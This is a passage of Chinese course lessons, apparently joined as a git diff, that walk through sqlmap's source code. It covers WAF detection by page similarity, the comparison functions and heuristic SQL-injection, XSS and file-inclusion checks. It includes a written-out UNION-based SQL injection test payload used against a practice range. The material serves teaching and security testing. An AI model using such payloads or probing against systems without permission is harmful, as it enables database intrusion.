进入到checkWaf函数之后,大家可以结合我写的注释,对这个函数进行理解和学习。我们会发现,程序首先会从准备好的文件中,获取容易引起waf响应的代码片段组,然后结合之前设置的注入位置信息,将它组合成一个payload发送给目标。这样就可以获取到该payload响应的值,我们可以将这个值和正常的响应做比较,计算出页面相似度的值。
|
||||
|
||||
# 判断waf是否存在。
|
||||
def checkWaf():
|
||||
|
||||
# ...
|
||||
# 默认设置为没有waf,并且配置容易引起waf拦截的payload。
|
||||
retVal = False
|
||||
payload = "%d %s" % (randomInt(), IPS_WAF_CHECK_PAYLOAD)
|
||||
|
||||
# 根据注入点的位置,决定payload插入的位置,然后发送测试请求,获取响应的返回值。
|
||||
if PLACE.URI in conf.parameters:
|
||||
place = PLACE.POST
|
||||
value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
|
||||
else:
|
||||
place = PLACE.GET
|
||||
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
|
||||
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
|
||||
|
||||
# ...
|
||||
try:
|
||||
|
||||
# 判断retVal即页面相似度和预设的阈值大小比较关系。
|
||||
retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO
|
||||
except SqlmapConnectionException:
|
||||
retVal = True
|
||||
finally:
|
||||
kb.matchRatio = None
|
||||
|
||||
# ...
|
||||
if retVal:
|
||||
# ...
|
||||
message = "are you sure that you want to "
|
||||
message += "continue with further target testing? [Y/n] "
|
||||
|
||||
# ...
|
||||
return retVal
|
||||
|
||||
|
||||
通过比较页面相似度的值和设定的阈值,sqlmap可以判定目标是否被waf保护。如果小于设定的阈值,则代表这两个页面的内容差别很大,sqlmap就会认定目标被waf保护,否则就会认为目标没有waf保护。
|
||||
|
||||
这里我们看到了另外一个非常重要的函数Request.queryPage和一个非常重要的概念,页面相似度。接下来,我们就来一起学习一下什么是页面相似度,而关于Request.queryPage的功能和页面相似度算法,我们会在下一讲详细学习。
|
||||
|
||||
页面相似度
|
||||
|
||||
页面相似度,简单来讲,就是两个页面内容相似程度的衡量系数。在sqlmap中,计算页面相似度主体使用的是difflib模块中的SequenceMatcher功能,该功能用于比较可哈希类型的序列的相似程度。可哈希类型序列指的是,不可变的数据结构例如字符串、元组等。
|
||||
|
||||
这里,我们用一个轻松的小例子,来加深你对页面相似度的理解。
|
||||
|
||||
import difflib
|
||||
a='abcd'
|
||||
b='ab123'
|
||||
seq=difflib.SequenceMatcher(None,a,b)
|
||||
d=seq.ratio()
|
||||
print(d)
|
||||
# d=0.44444444...
|
||||
|
||||
|
||||
在这个例子里,我们用SequenceMatcher函数计算了字符串a和字符串b的相似度,计算的结果为“0.4444…”。
|
||||
|
||||
这个值是用“2_M/T”这个表达式计算出来的,要想得出结果,我们需要获得变量M和T的值。其中M为a和b相同部分的长度,在这个例子中,因为a和b相同部分为ab,所以M的 值就是2。T则是a和b的长度之和,所以T的值为9。因此,计算结果为“2_2⁄9=0.4444…”。
|
||||
|
||||
相信通过这个例子的学习,你已经可以掌握SequenceMatcher函数的用法,下面让我们趁热打铁,进入到实战训练中,来巩固我们对页面相似度的理解。
|
||||
|
||||
实战训练
|
||||
|
||||
通过刚才的学习我们知道,sqlmap会运用页面相似度来判断waf存在。为了让你有更加直观的感受,我们可以打开谜团中的“安全狗4.0靶场”进行实战测试。
|
||||
|
||||
打开靶场后,我们访问靶场80端口下的inject.php路径,这是一个有waf保护的网站,我们需要通过get方式,上传一个名为id的参数。
|
||||
|
||||
我们首先将id参数的值设为1,正常获得的响应内容如下:
|
||||
|
||||
|
||||
|
||||
随后我们将id的参数值设为容易被waf拦截的payload。
|
||||
|
||||
*1' and 1=2 union select database(),2 --+*
|
||||
|
||||
|
||||
这样它就会被waf拦截
|
||||
|
||||
|
||||
|
||||
我们将这两个响应的内容进行记录,然后计算它们的页面相似度。
|
||||
|
||||
# 正常响应
|
||||
talent sec<br /><br/>SELECT first_name,last_name FROM users WHERE user_id = '1';
|
||||
|
||||
# waf拦截的响应
|
||||
您的请求带有不合法参数,已被网站管理员设置拦截!可能原因:您提交的内容包含危险的攻击请求。
|
||||
|
||||
|
||||
计算发现他们的页面相似度为零,这符合我们的预期,即存在waf的拦截,那么使用payload前后的页面相似度就会较低。
|
||||
|
||||
总结
|
||||
|
||||
这节课,我们学习了sqlmap在工作流程中调用的一个重要的函数start,了解了它的功能和对应的实现方法。
|
||||
|
||||
秉持着“知其然,还要知其所以然”的理念,我们除了要知道sqlmap的使用方法,更要了解它的设计思想和工作原理。我们分析了它的源代码,了解到它具有很多功能,这些功能包括,循环处理针对目标配置、测试网络连通性、配置HTTP请求信息、以及判断waf是否存在。
|
||||
|
||||
由于判断waf是否存在较难理解,并且存在一个较为生僻的概念,页面相似度,所以我给你介绍了sqlmap是如何判断waf是否存在的。经过分析我们发现,sqlmap会使用易于引起waf拦截的payload来获取响应,并且将它和不使用payload的正常响应进行比较,通过它们的相似度来判断waf存在。如果页面相似度高,就认为目标没有waf的保护,否则我们就认为有waf的保护。最后,我们在实战中验证了这个想法,证实了sqlmap通过页面相似度判断waf存在的可行性。
|
||||
|
||||
截止到目前,你已经了解了sqlmap的初始化流程,和针对每个测试目标的配置和检测步骤,下节课,我们将会更加深入地剖析sqlmap的页面相似度算法,并且会正式为你讲解SQL注入测试之前的必经步骤–启发式注入测试。
|
||||
|
||||
思考
|
||||
|
||||
页面相似度判断的阈值应该与哪些因素相关呢?
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
280
专栏/Web漏洞挖掘实战/16自动化注入神器(三):sqlmap的核心实现拆解.md
Normal file
280
专栏/Web漏洞挖掘实战/16自动化注入神器(三):sqlmap的核心实现拆解.md
Normal file
@ -0,0 +1,280 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
16 自动化注入神器(三):sqlmap的核心实现拆解
|
||||
你好,我是王昊天。
|
||||
|
||||
在上节课,我们学习了sqlmap中一个非常重要的函数——start函数。我们了解到,它既可以为每个目标配置请求参数,也会对目标进行一些必要的检测,例如判断目标是否存在waf的保护等。
|
||||
|
||||
在讲到如何检测waf时,我们遇到了一个比较陌生的概念,页面相似度。上节课,我给出了一个简单的示例,来帮助你理解它的含义,但是并没有告诉你,页面相似度是如何计算出来的。相信经过这节课的学习,你就可以解决这个问题。
|
||||
|
||||
再看checkWaf函数
|
||||
|
||||
为了研究页面相似度算法,我们首先需要找到计算页面相似度的代码。回顾一下上节课的内容,我们在checkwaf函数中学习了页面相似度的概念,但是并未深入研究这一点。现在让我们回到sqlmap的checkWaf函数,着重观察下面这段代码。在这段代码中,系统会判断Request.queryPage函数的返回值是否小于sqlmap设定的默认页面相似度阈值(IPS_WAF_CHECK_RATIO),如果小于,那么就认为存在waf,否则就会认为不存在waf。我们可以从lib.core.settings.py中得出该阈值的大小为 0.5。
|
||||
|
||||
try:
|
||||
retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO
|
||||
|
||||
|
||||
经过上述分析,我们可以知道,函数Request.queryPage的返回值就是页面相似度。所以我们只需要对它进行分析,就可以知道页面相似度的算法了。在进入到该函数之前,我们首先需要关注,传入该函数的参数。理解这些参数,会帮助你理解sqlmap页面相似度算法的实际运算过程。
|
||||
|
||||
#传入到该函数的参数
|
||||
place=place
|
||||
value=value
|
||||
getRatioValue=True
|
||||
noteResponseTime=False
|
||||
silent=True
|
||||
raise404=False
|
||||
disableTampering=True
|
||||
|
||||
|
||||
Request.queryPage函数
|
||||
|
||||
列举完传入到Request.queryPage函数的参数后,我们可以专心地进入到函数内部进行分析。
|
||||
|
||||
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
|
||||
|
||||
# ...
|
||||
# 对参数进行定义
|
||||
get = None
|
||||
post = None
|
||||
cookie = None
|
||||
ua = None
|
||||
referer = None
|
||||
host = None
|
||||
page = None
|
||||
pageLength = None
|
||||
uri = None
|
||||
code = None
|
||||
|
||||
# ...
|
||||
payload = agent.extractPayload(value)
|
||||
|
||||
# 请求参数的配置。
|
||||
|
||||
if PLACE.GET in conf.parameters:
|
||||
get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value
|
||||
|
||||
# ...
|
||||
# 用配置好的请求参数获取页面信息。
|
||||
|
||||
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
||||
|
||||
# ...
|
||||
# 由于传入的参数中getRatioValue为真,进入到if条件中,它会返回两个comparsion的结果,所以返回的类型是这两个结果构成的元组。
|
||||
|
||||
if getRatioValue:
|
||||
return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength)
|
||||
else:
|
||||
return comparison(page, headers, code, getRatioValue, pageLength
|
||||
|
||||
|
||||
这里我将queryPage中,关键部分的代码展示出来,你可以结合代码中的注释学习和理解。该函数首先会定义需要的参数,然后用定义好的参数来配置请求信息。
|
||||
|
||||
配置好请求信息之后,我们就可以用Connect.getPage函数获得目标页面的内容。这样我们就获得了在计算页面相似度中需要的第一个参数,即用易于引起waf拦截的payload获取到的页面响应内容。
|
||||
|
||||
由于传入的参数getRatioValue的值为True,所以接下来,函数会进入到if条件中运行,我们看到,系统会返回两个comparison的运行结果,所以这里queryPage的返回的是一个元组类型,即(comparison1,comparison2)。
|
||||
|
||||
通过公式retVal=request.querypage()[1] or 0 < IPS_WAF_CHECK_RATIO,我们知道这里retVal的值就等于comparison2 or 0 < 0.5。你需要特别注意这里的comparison2 or 0,这是因为comparison函数有可能会返回None,这时候就会将0作为retVal的值。
|
||||
|
||||
Comparison函数
|
||||
|
||||
从retVal的结果可以发现,comparison2的数值很重要,下面让我们重点观察comparison2,它的值为comparison(page, headers, code, getRatioValue=True, pageLength=pageLength),那么接下来我们进入到comparison函数中。
|
||||
|
||||
def comparison(page, headers, code=None, getRatioValue=False, pageLength=None):
|
||||
_ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue)
|
||||
return _
|
||||
|
||||
|
||||
可以看到,该函数将_comparison函数的运行结果作为_adjust函数的参数,然后返回_adjust函数的运行结果_。
|
||||
|
||||
那么下面我们先进入到_comparison函数中,看看它在不同情况下的返回值是什么。
|
||||
|
||||
def _comparison(page, headers, code, getRatioValue, pageLength):
|
||||
|
||||
# ...
|
||||
# 当 page 和 pagelength 信息都没有时,返回None。
|
||||
if page is None and pageLength is None:
|
||||
return None
|
||||
|
||||
# ...
|
||||
# 如果使用者利用了-string/-not-string/-regexp等参数配置了特征文本,那么程序就会使用用户指定的特征文本和获取到的页面信息作对比,作为返回结果,这时返回的结果为(True or False)对应为1或者0。
|
||||
|
||||
if any((conf.string, conf.notString, conf.regexp)):
|
||||
rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
|
||||
|
||||
if conf.string:
|
||||
return conf.string in rawResponse
|
||||
|
||||
if conf.notString:
|
||||
if conf.notString in rawResponse:
|
||||
return False
|
||||
# ...
|
||||
|
||||
if conf.regexp:
|
||||
return re.search(conf.regexp, rawResponse, re.I | re.M) is not None
|
||||
|
||||
# 如果使用者配置了code信息,那么就会判断设置的code是否和返回的code一致,若一致就返回1,否则返回0。
|
||||
if conf.code:
|
||||
return conf.code == code
|
||||
|
||||
|
||||
从上面的代码中,我们可以知道,如果使用者配置了响应的参数,那么_comparison函数就会将该参数和获取到的实际响应内容进行比较,直接返回比较的结果。
|
||||
|
||||
当用户没有配置响应参数时,sqlmap就会创建一个比较函数,与页面响应进行比较,计算出页面相似比。你可能会觉得seqMatcher有些眼熟,事实上它就是我们的老熟人,difflib.SequenceMatcher()这个函数在介绍sqlmap时有提到。
|
||||
|
||||
seqMatcher = threadData.seqMatcher
|
||||
|
||||
# 将之前测试目标的连通性时获取到的标准响应内容放入到比较函数中,这样只需要再把使用payload之后获取到的响应放入其中,就可以实现页面相似度的计算了。
|
||||
seqMatcher.set_seq1(kb.pageTemplate)
|
||||
|
||||
# 当响应为系统的报错信息后,这样比较页面相似度就没有意义,所以返回None。
|
||||
if page:
|
||||
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
|
||||
if not (wasLastResponseHTTPError() and getLastRequestHTTPError() in (conf.ignoreCode or [])):
|
||||
return None
|
||||
|
||||
# 当配置中没有设置空连接时,需要删除页面中的动态内容,否则会影响页面相似度的计算。
|
||||
if not kb.nullConnection:
|
||||
page = removeDynamicContent(page)
|
||||
seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate))
|
||||
|
||||
if not pageLength:
|
||||
pageLength = len(page)
|
||||
|
||||
# 当配置中设置空连接后,系统就不会获得页面的响应内容,而仅仅获得响应的长度,这时候就需要根据响应长度来计算页面相似度。
|
||||
if kb.nullConnection and pageLength:
|
||||
if not seqMatcher.a:
|
||||
errMsg = "problem occurred while retrieving original page content "
|
||||
errMsg += "which prevents sqlmap from continuation. Please rerun, "
|
||||
errMsg += "and if the problem persists turn off any optimization switches"
|
||||
raise SqlmapNoneDataException(errMsg)
|
||||
|
||||
# 此处的seqMatcher.a,就是之前放入到比较函数中的标准页面响应。
|
||||
ratio = 1. * pageLength / len(seqMatcher.a)
|
||||
|
||||
if ratio > 1.:
|
||||
ratio = 1. / ratio
|
||||
|
||||
# 当不配置空链接时,就需要对响应的内容进行比较,需要考虑响应页面的格式不一样(pdf/html),为了防止这个情况导致Unicode编码比较失败,我们将它们都转化为Unicode格式。
|
||||
else:
|
||||
if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type):
|
||||
page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
|
||||
elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type):
|
||||
seqMatcher.a = getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
|
||||
|
||||
# 转化之后,当使用payload获取到的响应和标准响应有一个不存在,就无法比较页面相似度,返回None。
|
||||
if any(_ is None for _ in (page, seqMatcher.a)):
|
||||
return None
|
||||
|
||||
# 当它们都存在且相等时,内容完全一致,页面相似度为1。
|
||||
elif seqMatcher.a and page and seqMatcher.a == page:
|
||||
ratio = 1.
|
||||
|
||||
# 当无法根据页面内容来计算页面相似度时,会选择用其他方法计算页面相似度。
|
||||
elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
|
||||
if not page or not seqMatcher.a:
|
||||
return float(seqMatcher.a == page)
|
||||
else:
|
||||
ratio = 1. * len(seqMatcher.a) / len(page)
|
||||
if ratio > 1:
|
||||
ratio = 1. / ratio
|
||||
else:
|
||||
seq1, seq2 = None, None
|
||||
|
||||
# 当配置中设置根据页面的标题比较时,会进入到下面的语句中。
|
||||
if conf.titles:
|
||||
seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
|
||||
seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
|
||||
else:
|
||||
|
||||
# 当配置中设置有仅比较文本内容时,就会利用`getFilteredPageContent`来提取其中的文本信息。
|
||||
seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
|
||||
seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
|
||||
|
||||
# 当在上述操作中获得的seq1或者seq2的值为None时,就无法判断页面相似度,返回 None。
|
||||
if seq1 is None or seq2 is None:
|
||||
return None
|
||||
|
||||
|
||||
在不同的情况下,seqMatcher的结果有不同的计算方式,我们可以结合代码中的注释进行深入的了解。
|
||||
|
||||
当我们需要比较两个页面中的内容,来计算页面相似度时,我们需要删除页面中的REFLECTED_VALUE_MARKER,防止它干扰计算。想要知道REFLECTED_VALUE_MARKER是什么,我们需要回顾下之前获取页面响应内容的参数配置。
|
||||
|
||||
在一些情况下,比如,当页面将输入的参数显示在页面上时,payload会回显在页面上。这些payload显然会影响我们计算页面相似度。那么sqlmap是如何解决这个问题的呢?
|
||||
|
||||
在之前queryPage的函数中,参数removeReflection的值被设置为True,所以sqlmap在获取页面的时候,会将payload的值替换为REFLECTED_VALUE_MARKER的值。下面这段代码,会去除页面内容中的REFLECTED_VALUE_MARKER,防止它的存在影响页面相似度的判断。
|
||||
|
||||
seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
|
||||
seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
|
||||
|
||||
# ...
|
||||
# 将它们计算出一个哈希元组,并在缓存中查找是否存在这个元组,如果存在则无需再次计算,否则需要计算出一个页面相似度。计算出之后,将该数据存入到缓存中。
|
||||
else:
|
||||
key = (hash(seq1), hash(seq2))
|
||||
|
||||
seqMatcher.set_seq1(seq1)
|
||||
seqMatcher.set_seq2(seq2)
|
||||
|
||||
if key in kb.cache.comparison:
|
||||
ratio = kb.cache.comparison[key]
|
||||
else:
|
||||
ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3)
|
||||
|
||||
if key:
|
||||
kb.cache.comparison[key] = ratio
|
||||
|
||||
# ...
|
||||
# 最后会返回页面相似度的值。
|
||||
if getRatioValue:
|
||||
return ratio
|
||||
|
||||
|
||||
这样我们就获得了_comparison函数的返回值,也就是传入到adjust函数中的参数的值。
|
||||
|
||||
下面让我们一起进入到adjust函数内,对获取到的页面相似度做一些处理,获取最终的页面相似度的值。我们可以将它简单理解为,如果sqlmap携带了攻击的载荷,但是响应内容和没有攻击载荷的sqlmap是相同的,就可以判定出目标应用不存在waf。
|
||||
|
||||
def _adjust(condition, getRatioValue):
|
||||
if not any((conf.string, conf.notString, conf.regexp, conf.code)):
|
||||
retVal = not condition if kb.negativeLogic and condition is not None and not getRatioValue else condition
|
||||
else:
|
||||
retVal = condition if not getRatioValue else (MAX_RATIO if condition else MIN_RATIO)
|
||||
|
||||
return retVal
|
||||
|
||||
|
||||
这样checkwaf函数就执行完成了,让我们再次回到start函数内部,继续学习它的运行流程。我们可以发现,检测完waf之后,系统会判断是否配置了空连接。
|
||||
|
||||
如果配置了空连接,在与标准响应进行比较的环节,就不再需要获得完整的页面响应内容,仅仅需要获得页面响应内容的长度,将它的长度和标准响应页面的长度进行比较,就能获得页面相似度。
|
||||
|
||||
那么在判断页面相似度的时候,就不需要获得完整的页面的响应内容和标准响应进行比较,而仅仅需要获得页面响应内容的长度,将它的长度和标准响应页面的长度进行比较即可获得页面相似度。
|
||||
|
||||
if conf.nullConnection:
|
||||
checkNullConnection()
|
||||
|
||||
|
||||
做完上述工作后,sqlmap就进入到了下一个阶段,即注入点检测阶段。这部分的内容我们会在下一节课中学习。
|
||||
|
||||
总结
|
||||
|
||||
这节课,我们详细学习了sqlmap中的页面相似度算法。
|
||||
|
||||
我们首先回顾了之前学过的checkwaf函数,通过对这个函数进行分析,我们找到了计算页面相似度的函数Request.querypage。
|
||||
|
||||
为了更好地理解它,我们进入到函数内部进行观察。经过对它代码的分析,我们知道,它首先对测试目标做了请求的参数的配置,然后给目标发送请求信息,在获取到页面的内容之后,将内容传递给comparison函数进行比较。
|
||||
|
||||
根据用户配置的不同情况,comparison函数会采用不同的页面相似度算法来进行计算。值得一提的是,该函数会在比较两个页面的内容时,删掉其中的payload内容,避免存在影响计算结果的因素。
|
||||
|
||||
截止目前,你已经掌握了sqlmap对waf检测的方法原理,下节课我们将学习,如何对目标进行自动化的多种SQL注入攻击。
|
||||
|
||||
思考
|
||||
|
||||
sqlmap的页面相似度算法有什么值得改进的地方吗?
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
379
专栏/Web漏洞挖掘实战/17自动化注入神器(四):sqlmap的核心功能解析.md
Normal file
379
专栏/Web漏洞挖掘实战/17自动化注入神器(四):sqlmap的核心功能解析.md
Normal file
@ -0,0 +1,379 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
17 自动化注入神器(四):sqlmap的核心功能解析
|
||||
你好,我是王昊天。
|
||||
|
||||
在上节课中,我们重点学习了sqlmap中一个非常重要的算法——页面相似度算法。相信你对页面相似度这个概念会有更加清晰的认知,不但知道它是什么含义,而且知道它是如何计算出来的。解决了这个大难点之后,我在上节课的结尾提出了一个空连接检测功能,有了它,sqlmap就可以大大提高执行效率。完成了检测,sqlmap就进入到实际的SQL注入测试阶段了。
|
||||
|
||||
在SQL注入测试阶段,系统首先会检测有哪些注入点,然后对这些注入点逐一发送合适的payload,检测注入是否成功。如果注入成功,那么系统会将注入点存储下来,最后对它们进行输出。
|
||||
|
||||
这节课,我们就来正式学习sqlmap的SQL注入测试过程。
|
||||
|
||||
注入点检测
|
||||
|
||||
在SQL正式注入测试之前,sqlmap会对每个目标的参数进行过滤。将那些非动态的,不存在注入可能的参数剔除掉,留下可能的注入点。这样sqlmap仅需要对这些可能的注入点进行正式的注入测试即可。
|
||||
|
||||
动态参数检测
|
||||
|
||||
我们首先来看sqlmap是如何检测动态参数的。这部分代码依旧在start函数中,紧接着空连接检测出现。
|
||||
|
||||
# sqlmap首先对所有可用于注入测试的参数进行简单的优先级排序。
|
||||
parameters = list(conf.parameters.keys())
|
||||
# 定义测试列表的顺序。(从后到前)
|
||||
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)
|
||||
# 对测试参数排好序之后,系统开始对参数进行过滤操作。
|
||||
proceed = True
|
||||
for place in parameters:
|
||||
skip = # ...
|
||||
if skip:
|
||||
continue
|
||||
if place not in conf.paramDict:
|
||||
continue
|
||||
paramDict = conf.paramDict[place]
|
||||
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
||||
# ...
|
||||
for parameter, value in paramDict.items():
|
||||
if not proceed:
|
||||
break
|
||||
# 经过过滤,将该参数加入到测试过的参数中,防止重复测试。
|
||||
kb.testedParams.add(paramKey)
|
||||
|
||||
|
||||
我们可以结合代码中的注释,来理解参数的过滤。首先sqlmap会对待测参数进行一个优先级排序。在排序完成之后,系统会根据用户的配置信息,对这些参数进行过滤操作。这里我举一个例子来让你更加容易理解这一步骤。例如,当用户配置的检测level小于2时,那么系统就会跳过对cookie参数的检测过程。
|
||||
|
||||
过滤完成之后,我们就会进入到你最熟悉的一步——SQL注入测试过程。让我们结合代码,分析sqlmap是如何进行SQL注入测试的。
|
||||
|
||||
if testSqlInj:
|
||||
# 开始注入测试
|
||||
try:
|
||||
# ...
|
||||
# 进入启发式注入测试。
|
||||
check = heuristicCheckSqlInjection(place, parameter)
|
||||
# 当启发式注入测试失败,就跳过该参数。
|
||||
if check != HEURISTIC_TEST.POSITIVE:
|
||||
if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
|
||||
# ...
|
||||
continue
|
||||
# ...
|
||||
# 通过启发式注入测试后,就会进入到SQL注入测试阶段。
|
||||
injection = checkSqlInjection(place, parameter, value)
|
||||
|
||||
|
||||
启发式注入测试
|
||||
|
||||
如果一个参数被检测为注入点,那我们就可以对它进行注入测试。为了提高注入测试的效率,系统会过滤一些注入成功率较低的注入点,这需要首先对它进行一个启发式注入测试。下面让我们结合代码,对启发式注入测试有个更具体的理解。
|
||||
|
||||
def heuristicCheckSqlInjection(place, parameter):
|
||||
|
||||
# 如果配置中设置了跳过启发式注入测试,就返回结果None,当使用者没有特殊配置conf.start这个配置项为false,就会跳过该参数的注入检测。
|
||||
if conf.skipHeuristics:
|
||||
return None
|
||||
|
||||
# 初始化参数,并根据用户设置的偏好制作payload。
|
||||
origValue = conf.paramDict[place][parameter]
|
||||
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
||||
|
||||
prefix = ""
|
||||
suffix = ""
|
||||
randStr = ""
|
||||
|
||||
if conf.prefix or conf.suffix:
|
||||
if conf.prefix:
|
||||
prefix = conf.prefix
|
||||
|
||||
if conf.suffix:
|
||||
suffix = conf.suffix
|
||||
|
||||
while randStr.count('\'') != 1 or randStr.count('\"') != 1:
|
||||
randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)
|
||||
|
||||
kb.heuristicMode = True
|
||||
|
||||
payload = "%s%s%s" % (prefix, randStr, suffix)
|
||||
payload = agent.payload(place, parameter, newValue=payload)
|
||||
|
||||
# 利用payload 请求目标页面的响应内容。
|
||||
page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
|
||||
|
||||
kb.heuristicPage = page
|
||||
kb.heuristicMode = False
|
||||
|
||||
|
||||
系统首先会判断,用户是否设置跳过启发式注入测试,如果设置了,则返回None。如果没有设置,那么系统就会获取到用户设置的偏好prefix以及suffix,然后据此构造出合适的payload,并发送给目标,获取到响应内容page。
|
||||
|
||||
# 检测请求目标的响应中是否有数据库错误。
|
||||
parseFilePaths(page)
|
||||
result = wasLastResponseDBMSError()
|
||||
infoMsg = "heuristic (basic) test shows that %sparameter '%s' might " % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
# 检测page中是否有。
|
||||
def _(page):
|
||||
return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS)
|
||||
casting = _(page) and not _(kb.originalPage)
|
||||
|
||||
|
||||
系统会根据获取到的内容,判断其中的报错信息。其中,如果为数据库报错信息,那么result的值为True。如果是设置在
|
||||
|
||||
sqlmap/lib/core/settings.py文件中FORMAT_EXCEPTION_SRTINGS配置项中定义的类型转化错误信息,那么就会用casting来储存错误内容。
|
||||
|
||||
# ...
|
||||
# 当存在定义的问题时,发出报错信息。
|
||||
if casting:
|
||||
errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
|
||||
|
||||
platform = conf.url.split('.')[-1].lower()
|
||||
if platform == WEB_PLATFORM.ASP:
|
||||
errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter)
|
||||
elif platform == WEB_PLATFORM.ASPX:
|
||||
errMsg += "int.TryParse(Request.QueryString[\"%s\"], out %s)" % (parameter, parameter)
|
||||
elif platform == WEB_PLATFORM.JSP:
|
||||
errMsg += "%s=Integer.parseInt(request.getParameter(\"%s\"))" % (parameter, parameter)
|
||||
else:
|
||||
errMsg += "$%s=intval($_REQUEST[\"%s\"])" % (parameter, parameter)
|
||||
|
||||
errMsg += "') at the back-end web application"
|
||||
logger.error(errMsg)
|
||||
|
||||
if kb.ignoreCasted is None:
|
||||
message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]")
|
||||
kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True)
|
||||
|
||||
# 当数据库报错时,判断出注入漏洞很可能存在。
|
||||
elif result:
|
||||
infoMsg += "be injectable"
|
||||
if Backend.getErrorParsedDBMSes():
|
||||
infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()
|
||||
logger.info(infoMsg)
|
||||
|
||||
# 否则判定为不存在注入漏洞。
|
||||
else:
|
||||
infoMsg += "not be injectable"
|
||||
logger.warn(infoMsg)
|
||||
|
||||
kb.heuristicMode = True
|
||||
kb.disableHtmlDecoding = True
|
||||
|
||||
|
||||
最后,函数会根据casting以及result中的内容进行输出。我在这里画了一个它的流程图,帮助你对它的作用进行理解。
|
||||
|
||||
|
||||
|
||||
图中启发式注入结果分为三种,其中阳性代表该参数大概率可以注入,类型转换和阴性都代表了该参数大概率不可以注入。我们会发现,想要判断是否可以注入,只需要判断有无数据库报错信息就可以了,有的话就认为该参数可注入,否则就认为不可注入。
|
||||
|
||||
除了进行启发式SQL注入检测之外,sqlmap还会做一些不属于它的工作,包括进行简单的xss检测和文件包含检测。
|
||||
|
||||
# 更换payload,检测xss以及文件包含。
|
||||
randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
|
||||
value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
|
||||
payload = "%s%s%s" % (prefix, "'%s" % value, suffix)
|
||||
payload = agent.payload(place, parameter, newValue=payload)
|
||||
page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
|
||||
|
||||
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
||||
|
||||
# 进行xss检测。
|
||||
if value.upper() in (page or "").upper():
|
||||
infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
# 进行文件包含检测。
|
||||
for match in re.finditer(FI_ERROR_REGEX, page or ""):
|
||||
if randStr1.lower() in match.group(0).lower():
|
||||
